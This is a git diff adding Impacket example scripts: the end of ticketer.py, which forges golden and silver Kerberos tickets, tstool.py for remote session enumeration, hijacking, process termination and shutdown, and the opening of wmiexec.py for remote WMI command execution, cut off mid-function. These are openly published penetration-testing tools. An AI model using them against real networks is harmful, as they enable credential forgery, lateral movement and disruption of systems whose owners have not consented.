+    parser.add_argument('target', action='store', help='username for the newly created ticket')
+    parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will'
+                                                     ' be generated for. if omitted, golden ticket will be created')
+    parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
+                        'changing only the supplied information. It requires specifying -user')
+    parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)')
+    parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be '
+                                                            'generated for')
+    parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
+                                                                             '(128 or 256 bits)')
+    parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
+    parser.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file (silver ticket only)')
+    parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
+                        'groups user will belong to (default = 513, 512, 520, 518, 519)')
+    parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
+                                                                          'created for (default = 500)')
+    parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC')
+    parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
+                                                                            '(default = 365*10)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
+                                                     'different from domain/username')
+    group.add_argument('-password', action="store", help='password for domain/username')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        print("\nExamples: ")
+        print("\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n")
+        print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.")
+        print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256")
+        print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as")
+        print("\tbaduser.ccache.\n")
+        print("\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain " 
+              "<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n")
+        print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used")
+        print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,")
+        print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'")
+        print("\tand saved as baduser.ccache")
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.domain is None:
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if options.aesKey is None and options.nthash is None and options.keytab is None:
+        logging.error('You have to specify either aesKey, or nthash, or keytab')
+        sys.exit(1)
+
+    if options.aesKey is not None and options.nthash is not None and options.request is False:
+        logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
+        sys.exit(1)
+
+    if options.request is True and options.user is None:
+        logging.error('-request parameter needs -user to be specified')
+        sys.exit(1)
+
+    if options.request is True and options.hashes is None and options.password is None:
+        from getpass import getpass
+        password = getpass("Password:")
+    else:
+        password = options.password
+
+    try:
+        executer = TICKETER(options.target, password, options.domain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        print(str(e))
diff --git a/examples/tstool.py b/examples/tstool.py
new file mode 100644
index 0000000..1ab2dbd
--- /dev/null
+++ b/examples/tstool.py
@@ -0,0 +1,614 @@
+#!/usr/bin/env python3
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Terminal Services manipulation tool.
+#   Initial idea was to provide similar functionality as the QWINSTA and other TS* windows commands:
+#   
+#   qwinsta:  Display information about Remote Desktop Services sessions.
+#   tasklist: Display a list of currently running processes on the system.
+#   taskkill: Terminate tasks by process id (PID) or image name
+#   tscon:    Attaches a user session to a remote desktop session
+#   tsdiscon: Disconnects a Remote Desktop Services session
+#   tslogoff: Signs-out a Remote Desktop Services session
+#   shutdown: Remote shutdown
+#   msg:      Send a message to Remote Desktop Services session (MSGBOX)
+#
+# Author:
+#   Alexander Korznikov (@nopernik)
+#
+# Reference for:
+#   [MS-TSTS]
+#
+
+import argparse
+import codecs
+import logging
+import sys
+from struct import unpack
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.smbconnection import SMBConnection
+from impacket import LOG
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+from impacket.dcerpc.v5 import tsts as TSTS
+import traceback
+
+
+class TSHandler:
+    def __init__(self, username, password, domain, options):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__options = options
+        self.__action = options.action.lower()
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__doKerberos = options.k
+        self.__kdcHost = options.dc_ip
+        self.__smbConnection = None
+        self.__remoteOps = None
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def connect(self, remoteName, remoteHost):
+        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
+
+        if self.__doKerberos:
+            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                               self.__nthash, self.__aesKey, self.__kdcHost)
+        else:
+            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+    def run(self, remoteName, remoteHost):
+        if self.__options.action == 'shutdown':
+            if not max([options.logoff, options.shutdown, options.reboot, options.poweroff]):
+                LOG.error('At least one flag is required: -logoff, -shutdown, -reboot or -poweroff')
+                exit(1)
+
+        self.connect(remoteName, remoteHost)
+        getattr(self,'do_'+self.__action)()
+
+    def get_session_list(self):
+        # Retreive session list
+        smb = self.__smbConnection
+        target_ip = self.__options.target_ip
+        with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip) as lsm:
+            handle = lsm.hRpcOpenEnum()
+            rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult']
+            lsm.hRpcCloseEnum(handle)
+            self.sessions = {}
+            for i in rsessions:
+                sess = i['SessionInfo']['SessionEnum_Level1']
+                state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1]
+                self.sessions[sess['SessionId']] = { 'state'         :state,
+                                                'SessionName'   :sess['Name'],
+                                                'RemoteIp'      :'',
+                                                'ClientName'    :'',
+                                                'Username'      :'',
+                                                'Domain'        :'',
+                                                'Resolution'    :'',
+                                                'ClientTimeZone':''
+                                            }
+
+    def enumerate_sessions_config(self):
+        # Get session config one by one
+        smb = self.__smbConnection
+        target_ip = self.__options.target_ip
+        if len(self.sessions):
+            with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip) as termsrv:
+                for SessionId in self.sessions:
+                    resp = termsrv.hRpcGetClientData(SessionId)
+                    if resp is not None:
+                        self.sessions[SessionId]['RemoteIp']       = resp['ppBuff']['ClientAddress']
+                        self.sessions[SessionId]['ClientName']     = resp['ppBuff']['ClientName']
+                        if len(resp['ppBuff']['UserName']) and not len(self.sessions[SessionId]['Username']):
+                            self.sessions[SessionId]['Username']       = resp['ppBuff']['UserName']
+                        if len(resp['ppBuff']['Domain']) and not len(self.sessions[SessionId]['Domain']):
+                            self.sessions[SessionId]['Domain']         = resp['ppBuff']['Domain']
+                        self.sessions[SessionId]['Resolution']     = '{}x{}'.format(
+                                                                    resp['ppBuff']['HRes'],
+                                                                    resp['ppBuff']['VRes']
+                                                                )
+                        self.sessions[SessionId]['ClientTimeZone'] = resp['ppBuff']['ClientTimeZone']['StandardName']
+
+    def enumerate_sessions_info(self):
+        # Get session info one by one
+        smb = self.__smbConnection
+        target_ip = self.__options.target_ip
+        if len(self.sessions):
+            with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip) as TermSrvSession:
+                for SessionId in self.sessions.keys():
+                    sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId)
+                    sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags'])
+                    self.sessions[SessionId]['flags']    = sessflags
+                    domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName']
+                    if not len(self.sessions[SessionId]['Domain']) and len(domain):
+                        self.sessions[SessionId]['Domain'] = domain
+                    username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName']
+                    if not len(self.sessions[SessionId]['Username']) and len(username):
+                        self.sessions[SessionId]['Username'] = username
+                    self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime']
+                    self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime']
+                    self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime']
+                    self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime']
+
+    def do_qwinsta(self):
+        options = self.__options
+        desktop_states = {
+            'WTS_SESSIONSTATE_UNKNOWN': '',
+            'WTS_SESSIONSTATE_LOCK'   : 'Locked',
+            'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked',
+        }
+        self.get_session_list()
+        if not len(self.sessions):
+            print('No sessions found...')
+            return
+        self.enumerate_sessions_info()
+        if options.verbose:
+            self.enumerate_sessions_config()
+        
+        maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions])
+        maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1
+        
+        # maxUsernameLen = max([len(self.sessions[i]['Username'])+1 for i in self.sessions])
+        maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1
+
+        maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1
+        
+        
+        maxIdLen = max([len(str(i)) for i in self.sessions])
+        maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1
+
+        maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions])
+        maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1
+
+        maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions])
+        maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1
+
+        maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions])
+        maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1
+
+        template = ('{SESSIONNAME: <%d} '
+                    '{USERNAME: <%d} '
+                    '{ID: <%d} '
+                    '{STATE: <%d} '
+                    '{DSTATE: <9} '
+                    '{CONNTIME: <20} '
+                    '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen)
+
+        template_verbose = ('{CLIENTNAME: <%d} '
+                            '{REMOTEIP: <%d} '
+                            '{RESOLUTION: <11} '
+                            '{TIMEZONE: <15}') % (maxClientName,maxRemoteIp)
+
+        result = []
+        header = template.format(
+                SESSIONNAME = 'SESSIONNAME',
+                USERNAME    = 'USERNAME',
+                ID          = 'ID',
+                STATE       = 'STATE',
+                DSTATE      = 'Desktop',
+                CONNTIME    = 'ConnectTime',
+                DISCTIME    = 'DisconnectTime',
+            )
+        
+        header2 = template.replace(' <','=<').format(
+                SESSIONNAME = '',
+                USERNAME    = '',
+                ID          = '',
+                STATE       = '',
+                DSTATE      = '',
+                CONNTIME    = '',
+                DISCTIME    = '',
+            )
+
+        header_verbose = ''
+        header2_verbose = ''
+        if options.verbose:
+            header_verbose = template_verbose.format(
+                                  CLIENTNAME = 'ClientName',
+                                  REMOTEIP = 'RemoteAddress',
+                                  RESOLUTION = 'Resolution',
+                                  TIMEZONE = 'ClientTimeZone'
+                              )
+            header2_verbose = template_verbose.replace(' <','=<').format(
+                                  CLIENTNAME = '',
+                                  REMOTEIP = '',
+                                  RESOLUTION = '',
+                                  TIMEZONE = ''
+                              )
+        result.append(header+header_verbose)
+        result.append(header2+header2_verbose+'\n')
+        
+        for i in self.sessions:
+            connectTime = self.sessions[i]['ConnectTime']
+            connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None'
+
+            disconnectTime = self.sessions[i]['DisconnectTime']
+            disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None'
+            userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else ''
+
+            row = template.format(
+                SESSIONNAME = self.sessions[i]['SessionName'],
+                USERNAME    = userName,
+                ID          = i,
+                STATE       = self.sessions[i]['state'],
+                DSTATE      = desktop_states[self.sessions[i]['flags']],
+                CONNTIME    = connectTime,
+                DISCTIME    = disconnectTime,
+            )
+            row_verbose = ''
+            if options.verbose:
+                row_verbose = template_verbose.format(
+                                    CLIENTNAME = self.sessions[i]['ClientName'],
+                                    REMOTEIP = self.sessions[i]['RemoteIp'],
+                                    RESOLUTION = self.sessions[i]['Resolution'],
+                                    TIMEZONE = self.sessions[i]['ClientTimeZone']
+                                )                
+            result.append(row+row_verbose)
+
+        for row in result:
+            print(row)
+
+    def do_tasklist(self):
+        options = self.__options
+        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy:
+            handle = legacy.hRpcWinStationOpenServer()
+            r = legacy.hRpcWinStationGetAllProcesses(handle)
+            if not len(r):
+                return None
+            maxImageNameLen = max([len(i['ImageName']) for i in r])
+            maxSidLen = max([len(i['pSid']) for i in r])
+            if options.verbose:
+                self.get_session_list()
+                self.enumerate_sessions_config()
+                maxUserNameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1
+                if maxUserNameLen < 11:
+                    maxUserNameLen = 11
+                template = ('{imagename: <%d} '
+                            '{pid: <6} '
+                            '{sessid: <6} '
+                            '{sessionName: <16} '
+                            '{sessstate: <11} '
+                            '{sessionuser: <%d} '
+                            '{sid: <%d} '
+                            '{workingset: <12}') % (maxImageNameLen, maxUserNameLen, maxSidLen)
+                           
+                print(template.format(imagename   = 'Image Name',
+                                      pid         = 'PID',
+                                      sessionName = 'SessName',
+                                      sessid      = 'SessID',
+                                      sessionuser = 'SessUser',
+                                      sessstate   = 'State',
+                                      sid         = 'SID',
+                                      workingset  = 'Mem Usage'
+                            )
+                     )
+                
+                print(template.replace(' <','=<').format(imagename   = '',
+                                                         pid         = '',
+                                                         sessionName = '',
+                                                         sessid      = '',
+                                                         sessionuser = '',
+                                                         sessstate   = '',
+                                                         sid         = '',
+                                                         workingset  = ''
+                                                        )+'\n'
+                     )
+
+                for procInfo in r:
+                    sessId = procInfo['SessionId']
+                    fullUserName = ''
+                    if len(self.sessions[sessId]['Domain']):
+                        fullUserName += self.sessions[sessId]['Domain'] + '\\'
+                    if len(self.sessions[sessId]['Username']):
+                        fullUserName += self.sessions[sessId]['Username']
+                    row = template.replace('{workingset: <12}','{workingset: >10,} K').format(
+                                          imagename   = procInfo['ImageName'],
+                                          pid         = procInfo['UniqueProcessId'],
+                                          sessionName = self.sessions[sessId]['SessionName'],
+                                          sessid      = procInfo['SessionId'],
+                                          sessstate  = self.sessions[sessId]['state'].replace('Disconnected','Disc'),
+                                          sid         = procInfo['pSid'],
+                                          sessionuser = fullUserName,
+                                          workingset  = procInfo['WorkingSetSize']//1000
+                                         )
+                    print(row)
+            else:
+                template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen)
+                print(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage'))
+                print(template.replace(': ',':=').format('','','','','')+'\n')
+                for procInfo in r:
+                    row = template.format(
+                                procInfo['ImageName'],
+                                procInfo['UniqueProcessId'],
+                                procInfo['SessionId'],
+                                procInfo['pSid'],
+                                '{:,} K'.format(procInfo['WorkingSetSize']//1000),
+                            )
+                    print(row)
+        
+
+    def do_taskkill(self):
+        options = self.__options
+        if options.pid is None and options.name is None:
+            LOG.error('One of the following is required: -pid, -name')
+            return
+        pidList = []
+        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy:
+            handle = legacy.hRpcWinStationOpenServer()
+            if options.pid is None and options.name is not None:
+                r = legacy.hRpcWinStationGetAllProcesses(handle)
+                if not len(r):
+                    LOG.error('Could not get process list')
+                    return
+                pidList = [i['UniqueProcessId'] for i in r if i['ImageName'].lower() == options.name.lower()]
+                if not len(pidList):
+                    LOG.error('Could not find %r in process list' % options.name)
+                    return
+            else:
+                pidList = [options.pid]
+
+            for pid in pidList:
+                print('Terminating PID: %d ...' % pid, end='')
+                try:
+                    if legacy.hRpcWinStationTerminateProcess(handle, pid)['ErrorCode']:
+                        print('OK')
+                    else:
+                        print('FAIL')
+                except Exception as e:
+                    LOG.error('Error terminating pid: %d' % pid)
+                    LOG.error(str(e))
+
+    def do_tscon(self):
+        options = self.__options
+        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession:
+            try:
+                session_handle = None
+                print('Connecting SessionID %d to %d ...' % (options.source, options.dest), end='')
+                try:
+                    session_handle = TSSession.hRpcOpenSession(options.source)
+                except Exception as e:
+                    print('FAIL')
+                    if e.error_code == 0x80070002:
+                        LOG.error('Could not find source SessionID: %d' % options.source)
+                    else:
+                        LOG.error(str(e))
+                    return
+                if TSSession.hRpcConnect(hSession = session_handle,
+                                         TargetSessionId = options.dest,
+                                         Password = options.password)['ErrorCode'] == 0:
+                    print('OK')
+                else:
+                    print('FAIL')
+            except Exception as e:
+                print('FAIL')
+                if e.error_code == 0x80070002:
+                    LOG.error('Could not find destination SessionID: %d' % options.dest)
+                elif e.error_code == 0x8007139f:
+                    LOG.error('Session in the invalid state. Did you mean %d -> %d?' % (options.dest, options.source))
+                else:
+                    LOG.error(str(e))
+
+    def do_tsdiscon(self):
+        options = self.__options
+        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession:
+            try:
+                print('Disconnecting SessionID: %d ...' % options.session, end='')
+                session_handle = TSSession.hRpcOpenSession(options.session)
+                if TSSession.hRpcDisconnect(session_handle)['ErrorCode'] == 0:
+                    print('OK')
+                else:
+                    print('FAIL')
+            except Exception as e:
+                print('FAIL')
+                if e.error_code == 1:
+                    LOG.error('Maybe it is already disconnected?')
+                elif e.error_code == 0x80070002:
+                    LOG.error('Could not find SessionID: %d' % options.session)
+                else:
+                    LOG.error(str(e))
+
+    def do_logoff(self):
+        options = self.__options
+        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession:
+            try:
+                print('Signing-out SessionID: %d ...' % options.session, end='')
+                session_handle = TSSession.hRpcOpenSession(options.session)
+                
+                if TSSession.hRpcLogoff(session_handle)['ErrorCode'] == 0:
+                    print('OK')
+                else:
+                    print('FAIL')
+            except Exception as e:
+                if e.error_code == 0x10000000:
+                    print('OK')
+                    return
+                print('FAIL')
+                if e.error_code == 0x80070002:
+                    LOG.error('Could not find SessionID: %d' % options.session)
+                else:
+                    LOG.error(str(e))
+
+    def do_shutdown(self):
+        options = self.__options
+        with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy:
+            handle = legacy.hRpcWinStationOpenServer()
+            flags = 0
+            flagsList = []
+            ShutdownFlags = [options.logoff, options.shutdown, options.reboot, options.poweroff]
+            for k,v in zip(ShutdownFlags, ['logoff', 'shutdown', 'reboot', 'poweroff']):
+                if k:
+                    flagsList.append(v)
+            flagsList = '|'.join(flagsList)
+            for k,v in zip(ShutdownFlags, [1,2,4,8]):
+                if k:
+                    flags |= v
+            try:
+                print('Sending shutdown (%s) event ...' % (flagsList), end='')
+                resp = legacy.hRpcWinStationShutdownSystem(handle, 0, flags)
+                if resp['ErrorCode']:
+                    print('OK')
+                else:
+                    resp.dump()
+                    print('FAIL')
+            except Exception as e:
+                print('FAIL')
+                LOG.error(str(e))
+    
+
+    def do_msg(self):
+        options = self.__options
+
+        with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession:
+            try:
+                print('Sending message to SessionID: %d ...' % options.session, end='')
+                session_handle = TSSession.hRpcOpenSession(options.session)
+                if TSSession.hRpcShowMessageBox(session_handle, options.title, options.message)['ErrorCode'] == 0:
+                    print('OK')
+                else:
+                    print('FAIL')
+            except Exception as e:
+                print('FAIL')
+                if e.error_code == 0x80070002:
+                    LOG.error('Could not find SessionID: %d' % options.session)
+                else:
+                    LOG.error(str(e))
+    
+
+if __name__ == '__main__':
+
+    # Init the example's logger theme
+    logger.init()
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Terminal Services manipulation tool.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+
+    # qwinsta: Display information about Remote Desktop Services sessions.
+    qwinsta_parser = subparsers.add_parser('qwinsta', help='Display information about Remote Desktop Services sessions.')
+    qwinsta_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON')
+
+    # tasklist: Display a list of currently running processes on the system.
+    tasklist_parser = subparsers.add_parser('tasklist', help='Display a list of currently running processes on the system.')
+    tasklist_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON')
+ 
+    # taskkill: Terminate tasks by process id (PID) or image name
+    taskkill_parser = subparsers.add_parser('taskkill', help='Terminate tasks by process id (PID) or image name.')
+    taskkill_parser.add_argument('-pid', action='store', metavar="PID", type=int, help='Specifies process id (PID)')
+    taskkill_parser.add_argument('-name', action='store', help='Specifies process name (ImageName). Internally it will'
+                                                               'execute tasklist to retrieve PID by ImageName.')
+
+    # tscon: Attaches a user session to a remote desktop session
+    tscon_parser = subparsers.add_parser('tscon', help='Attaches a user session to a remote desktop session.')
+    tscon_parser.add_argument('-source', action='store', metavar="SessionID", type=int, required=True, help='Source SessionId')
+    tscon_parser.add_argument('-dest', action='store', metavar="SessionID", type=int, required=True, help='Destination SessionId')
+    tscon_parser.add_argument('-password', action='store', type=str, required=False, help='Destination Session\'s password')
+
+    # tsdiscon: Disconnects a Remote Desktop Services session
+    tsdiscon_parser = subparsers.add_parser('tsdiscon', help='Disconnects a Remote Desktop Services session.')
+    tsdiscon_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to disconnect')
+
+    # logoff: Sign out a Remote Desktop Services session
+    logoff_parser = subparsers.add_parser('logoff', help='Sign out a Remote Desktop Services session.')
+    logoff_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to sign out')
+    
+    # shutdown: Remote shutdown
+    shutdown_parser = subparsers.add_parser('shutdown', help='Remote shutdown, affects ALL sessions and logged-in users!',
+                        description="Send Remote Shutdown event. Affects ALL sessions and logged-in users!")
+    shutdown_parser_group = shutdown_parser.add_argument_group('Shutdown Flags [Multiple Choice]')
+
+    shutdown_parser_group.add_argument('-logoff', action='store_true', help='Forces sessions to logoff.')
+    shutdown_parser_group.add_argument('-shutdown', action='store_true', help='Shuts down the system.')
+    shutdown_parser_group.add_argument('-reboot', action='store_true', help='Reboots after shutdown.')
+    shutdown_parser_group.add_argument('-poweroff', action='store_true', help='Powers off after shutdown.')
+
+    # msg: Send a message to Remote Desktop Services session (MSGBOX)
+    msg_parser = subparsers.add_parser('msg', help='Send a message to Remote Desktop Services session (MSGBOX).')
+    msg_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='Receiver SessionId')
+    msg_parser.add_argument('-title', action='store', metavar="'Your Title'", type=str, required=False, help='Title of the MessageBox [Optional]')
+    msg_parser.add_argument('-message', action='store', metavar="'Your Message'", type=str, required=True, help='Contents of the MessageBox')
+
+    # Authentication options
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
+                            'target parameters. If valid credentials cannot be found, it will use the ones specified '
+                            'in the command line')
+    group.add_argument('-aesKey', action="store", metavar="hex key",
+                       help='AES key to use for Kerberos Authentication (128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.action is None:
+        parser.print_help()
+        LOG.error('Too few arguments...')
+        sys.exit(1)
+
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if domain is None:
+        domain = ''
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    tsHandler = TSHandler(username, password, domain, options)
+    try:
+        tsHandler.run(remoteName, options.target_ip)
+    except Exception as e:
+        traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/wmiexec.py b/examples/wmiexec.py
new file mode 100644
index 0000000..e9bda52
--- /dev/null
+++ b/examples/wmiexec.py
@@ -0,0 +1,473 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A similar approach to smbexec but executing commands through WMI.
+#   Main advantage here is it runs under the user (has to be Admin)
+#   account, not SYSTEM, plus, it doesn't generate noisy messages
+#   in the event log that smbexec.py does when creating a service.
+#   Drawback is it needs DCOM, hence, I have to be able to access
+#   DCOM ports at the target machine.
+#
+# Author:
+#   beto (@agsolino)
+#
+# Reference for:
+#   DCOM
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import os
+import cmd
+import argparse
+import time
+import logging
+import ntpath
+from base64 import b64encode
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.krb5.keytab import Keytab
+from six import PY2
+
+OUTPUT_FILENAME = '__' + str(time.time())
+CODEC = sys.stdout.encoding
+
+
+class WMIEXEC:
+    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
+                 noOutput=False, doKerberos=False, kdcHost=None, shell_type=None):
+        self.__command = command
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__share = share
+        self.__noOutput = noOutput
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__shell_type = shell_type
+        self.shell = None
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def run(self, addr, silentCommand=False):
+        if self.__noOutput is False and silentCommand is False:
+            smbConnection = SMBConnection(addr, addr)
+            if self.__doKerberos is False:
+                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
+
+            dialect = smbConnection.getDialect()
+            if dialect == SMB_DIALECT:
+                logging.info("SMBv1 dialect used")
+            elif dialect == SMB2_DIALECT_002:
+                logging.info("SMBv2.0 dialect used")
+            elif dialect == SMB2_DIALECT_21:
+                logging.info("SMBv2.1 dialect used")
+            else:
